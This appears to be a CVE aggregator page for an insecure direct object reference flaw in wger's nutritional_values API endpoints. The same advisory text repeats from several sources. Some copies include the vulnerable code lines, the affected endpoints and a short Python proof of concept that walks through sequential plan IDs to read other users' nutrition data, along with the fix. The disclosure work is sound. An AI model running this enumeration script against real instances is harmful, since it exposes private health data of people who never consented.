CVE-2026-27839
wger: IDOR in nutritional_values endpoints exposes private dietary data via direct ORM lookup
wger is a free, open-source workout and fitness manager. In versions up to and including 2.4, three nutritional_values action endpoints fetch objects via Model.objects.get(pk=pk) — a raw ORM call that bypasses the user-scoped queryset. Any authenticated user can read another user's private nutrition plan data, including caloric intake and full macro breakdown, by supplying an arbitrary PK. Commit 29876a1954fe959e4b58ef070170e81703dab60e contains a fix for the issue.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- Low
- User interaction
- None
What an attacker can affect
- Confidentiality
- Low
- Integrity
- None
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
4.3
wger: IDOR in nutritional_values endpoints exposes private dietary data via direct ORM lookup
wger is a free, open-source workout and fitness manager. In versions up to and including 2.4, three nutritional_values action endpoints fetch objects via Model.objects.get(pk=pk) — a raw ORM call that bypasses the user-scoped queryset. Any authenticated user can read another user's private nutrition plan data, including caloric intake and full macro breakdown, by supplying an arbitrary PK. Commit 29876a1954fe959e4b58ef070170e81703dab60e contains a fix for the issue.
- Record
CVE-2026-27839- CVSS 3.1
- 4.3 Medium
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N - Weakness
- CWE-639
- Updated
- 2026-11-02
EUVDEUVD-2026-8907
4.3
wger is a free, open-source workout and fitness manager. In versions up to and including 2.4, three nutritional_values action endpoints fetch objects via Model.objects.get(pk=pk) — a raw ORM call that bypasses the user-scoped queryset. Any authenticated user can read another user's private nutrition plan data, including caloric intake and full macro breakdown, by supplying an arbitrary PK. Commit 29876a1954fe959e4b58ef070170e81703dab60e contains a fix for the issue.
- Record
EUVD-2026-8907- CVSS 3.1
- 4.3 Medium
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-g8gc-6c4h-jg86
4.3
wger: IDOR in nutritional_values endpoints exposes private dietary data via direct ORM lookup
Summary
Three nutritional_values action endpoints fetch objects via Model.objects.get(pk=pk) — a raw ORM call that bypasses the user-scoped queryset. Any authenticated user can read another user's private nutrition plan data, including caloric intake and full macro breakdown, by supplying an arbitrary PK.
Details
DRF detail actions do not automatically apply queryset filtering — the action must call self.get_object() to enforce object-level permissions. These three endpoints skip that and go directly to the ORM:
wger/nutrition/api/views.py:
# line 301 — NutritionPlanViewSet
plan = NutritionPlan.objects.get(pk=pk) # VULNERABLE — no user check
# line 356 — MealViewSet
meal = Meal.objects.get(pk=pk) # VULNERABLE
# line 403 — MealItemViewSet
meal_item = MealItem.objects.get(pk=pk) # VULNERABLE
The correct pattern used in the same file at LogItemViewSet (line 438):
LogItem.objects.get(pk=pk, plan__user=self.request.user) # CORRECT
Affected endpoints:
GET /api/v2/nutritionplan/{pk}/nutritional_values/
GET /api/v2/meal/{pk}/nutritional_values/
GET /api/v2/mealitem/{pk}/nutritional_values/
PoC
import requests
BASE = "http://localhost"
# Attacker's token (any registered user)
headers = {"Authorization": "Token ATTACKER_TOKEN"}
# Read victim's nutrition plan — enumerate pk starting from 1
for pk in range(1, 100):
r = requests.get(
f"{BASE}/api/v2/nutritionplan/{pk}/nutritional_values/",
headers=headers
)
if r.status_code == 200:
data = r.json()
print(f"Plan {pk}: {data}")
# Returns: energy (kcal), protein, carbohydrates, carbohydrates_sugar,
# fat, fat_saturated, fiber, sodium
No interaction from the victim required. Registration is open by default. PKs are sequential integers.
Impact
Any authenticated user can read other users' private dietary and health data:
- Daily caloric intake
- Protein, carbohydrate, fat, fiber, and sodium intake
- Full meal composition and ingredient quantities
This data is sensitive health information users expect to be private.
Fix: Replace direct ORM calls with self.get_object(), which applies the viewset's user-scoped queryset and object-level permissions automatically. Or add an explicit user filter: NutritionPlan.objects.get(pk=pk, user=self.request.user).
- Record
GHSA-g8gc-6c4h-jg86- CVSS 3.1
- 4.3 Medium
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N - Weakness
- CWE-639
- Updated
- 2026-11-02
NVD
4.3
wger is a free, open-source workout and fitness manager. In versions up to and including 2.4, three nutritional_values action endpoints fetch objects via Model.objects.get(pk=pk) — a raw ORM call that bypasses the user-scoped queryset. Any authenticated user can read another user's private nutrition plan data, including caloric intake and full macro breakdown, by supplying an arbitrary PK. Commit 29876a1954fe959e4b58ef070170e81703dab60e contains a fix for the issue.
- Record
CVE-2026-27839- CVSS 3.1
- 4.3 Medium
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N - Weakness
- CWE-639
- Updated
- 2026-11-02
OSV
4.3
wger: IDOR in nutritional_values endpoints exposes private dietary data via direct ORM lookup
wger is a free, open-source workout and fitness manager. In versions up to and including 2.4, three nutritional_values action endpoints fetch objects via Model.objects.get(pk=pk) — a raw ORM call that bypasses the user-scoped queryset. Any authenticated user can read another user's private nutrition plan data, including caloric intake and full macro breakdown, by supplying an arbitrary PK. Commit 29876a1954fe959e4b58ef070170e81703dab60e contains a fix for the issue.
- Record
CVE-2026-27839- CVSS 3.1
- 4.3 Medium
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N - Weakness
- CWE-639
- Updated
- 2026-11-02
OSVGHSA-g8gc-6c4h-jg86
4.3
wger: IDOR in nutritional_values endpoints exposes private dietary data via direct ORM lookup
Summary
Three nutritional_values action endpoints fetch objects via Model.objects.get(pk=pk) — a raw ORM call that bypasses the user-scoped queryset. Any authenticated user can read another user's private nutrition plan data, including caloric intake and full macro breakdown, by supplying an arbitrary PK.
Details
DRF detail actions do not automatically apply queryset filtering — the action must call self.get_object() to enforce object-level permissions. These three endpoints skip that and go directly to the ORM:
wger/nutrition/api/views.py:
# line 301 — NutritionPlanViewSet
plan = NutritionPlan.objects.get(pk=pk) # VULNERABLE — no user check
# line 356 — MealViewSet
meal = Meal.objects.get(pk=pk) # VULNERABLE
# line 403 — MealItemViewSet
meal_item = MealItem.objects.get(pk=pk) # VULNERABLE
The correct pattern used in the same file at LogItemViewSet (line 438):
LogItem.objects.get(pk=pk, plan__user=self.request.user) # CORRECT
Affected endpoints:
GET /api/v2/nutritionplan/{pk}/nutritional_values/
GET /api/v2/meal/{pk}/nutritional_values/
GET /api/v2/mealitem/{pk}/nutritional_values/
PoC
import requests
BASE = "http://localhost"
# Attacker's token (any registered user)
headers = {"Authorization": "Token ATTACKER_TOKEN"}
# Read victim's nutrition plan — enumerate pk starting from 1
for pk in range(1, 100):
r = requests.get(
f"{BASE}/api/v2/nutritionplan/{pk}/nutritional_values/",
headers=headers
)
if r.status_code == 200:
data = r.json()
print(f"Plan {pk}: {data}")
# Returns: energy (kcal), protein, carbohydrates, carbohydrates_sugar,
# fat, fat_saturated, fiber, sodium
No interaction from the victim required. Registration is open by default. PKs are sequential integers.
Impact
Any authenticated user can read other users' private dietary and health data:
- Daily caloric intake
- Protein, carbohydrate, fat, fiber, and sodium intake
- Full meal composition and ingredient quantities
This data is sensitive health information users expect to be private.
Fix: Replace direct ORM calls with self.get_object(), which applies the viewset's user-scoped queryset and object-level permissions automatically. Or add an explicit user filter: NutritionPlan.objects.get(pk=pk, user=self.request.user).
- Record
GHSA-g8gc-6c4h-jg86- CVSS 3.1
- 4.3 Medium
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N - Weakness
- CWE-639
- Updated
- 2026-11-02
OSVPYSEC-2026-3422
4.3
wger: IDOR in nutritional_values endpoints exposes private dietary data via direct ORM lookup
Summary
Three nutritional_values action endpoints fetch objects via Model.objects.get(pk=pk) — a raw ORM call that bypasses the user-scoped queryset. Any authenticated user can read another user's private nutrition plan data, including caloric intake and full macro breakdown, by supplying an arbitrary PK.
Details
DRF detail actions do not automatically apply queryset filtering — the action must call self.get_object() to enforce object-level permissions. These three endpoints skip that and go directly to the ORM:
wger/nutrition/api/views.py:
# line 301 — NutritionPlanViewSet
plan = NutritionPlan.objects.get(pk=pk) # VULNERABLE — no user check
# line 356 — MealViewSet
meal = Meal.objects.get(pk=pk) # VULNERABLE
# line 403 — MealItemViewSet
meal_item = MealItem.objects.get(pk=pk) # VULNERABLE
The correct pattern used in the same file at LogItemViewSet (line 438):
LogItem.objects.get(pk=pk, plan__user=self.request.user) # CORRECT
Affected endpoints:
GET /api/v2/nutritionplan/{pk}/nutritional_values/
GET /api/v2/meal/{pk}/nutritional_values/
GET /api/v2/mealitem/{pk}/nutritional_values/
PoC
import requests
BASE = "http://localhost"
# Attacker's token (any registered user)
headers = {"Authorization": "Token ATTACKER_TOKEN"}
# Read victim's nutrition plan — enumerate pk starting from 1
for pk in range(1, 100):
r = requests.get(
f"{BASE}/api/v2/nutritionplan/{pk}/nutritional_values/",
headers=headers
)
if r.status_code == 200:
data = r.json()
print(f"Plan {pk}: {data}")
# Returns: energy (kcal), protein, carbohydrates, carbohydrates_sugar,
# fat, fat_saturated, fiber, sodium
No interaction from the victim required. Registration is open by default. PKs are sequential integers.
Impact
Any authenticated user can read other users' private dietary and health data:
- Daily caloric intake
- Protein, carbohydrate, fat, fiber, and sodium intake
- Full meal composition and ingredient quantities
This data is sensitive health information users expect to be private.
Fix: Replace direct ORM calls with self.get_object(), which applies the viewset's user-scoped queryset and object-level permissions automatically. Or add an explicit user filter: NutritionPlan.objects.get(pk=pk, user=self.request.user).
- Record
PYSEC-2026-3422- CVSS 3.1
- 4.3 Medium
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N - Updated
- 2026-11-02
Affected products
Affected packages
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-27839 is a medium vulnerability (CVSS 4.3) in Wger, published February 26, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.30%, the 23rd percentile. No source names a fixed version.
References
github.com/wger-project/wger/security/advisories/GHSA-g8gc-6c4h-jg86
github.com/wger-project/wger/commit/29876a1954fe959e4b58ef070170e81703dab60e
nvd.nist.gov/vuln/detail/CVE-2026-27839
github.com/advisories/GHSA-g8gc-6c4h-jg86
github.com/CVEProject/cvelistV5/tree/main/cves/2026/27xxx/CVE-2026-27839.json
github.com/wger-project/wger
pypi.org/project/wger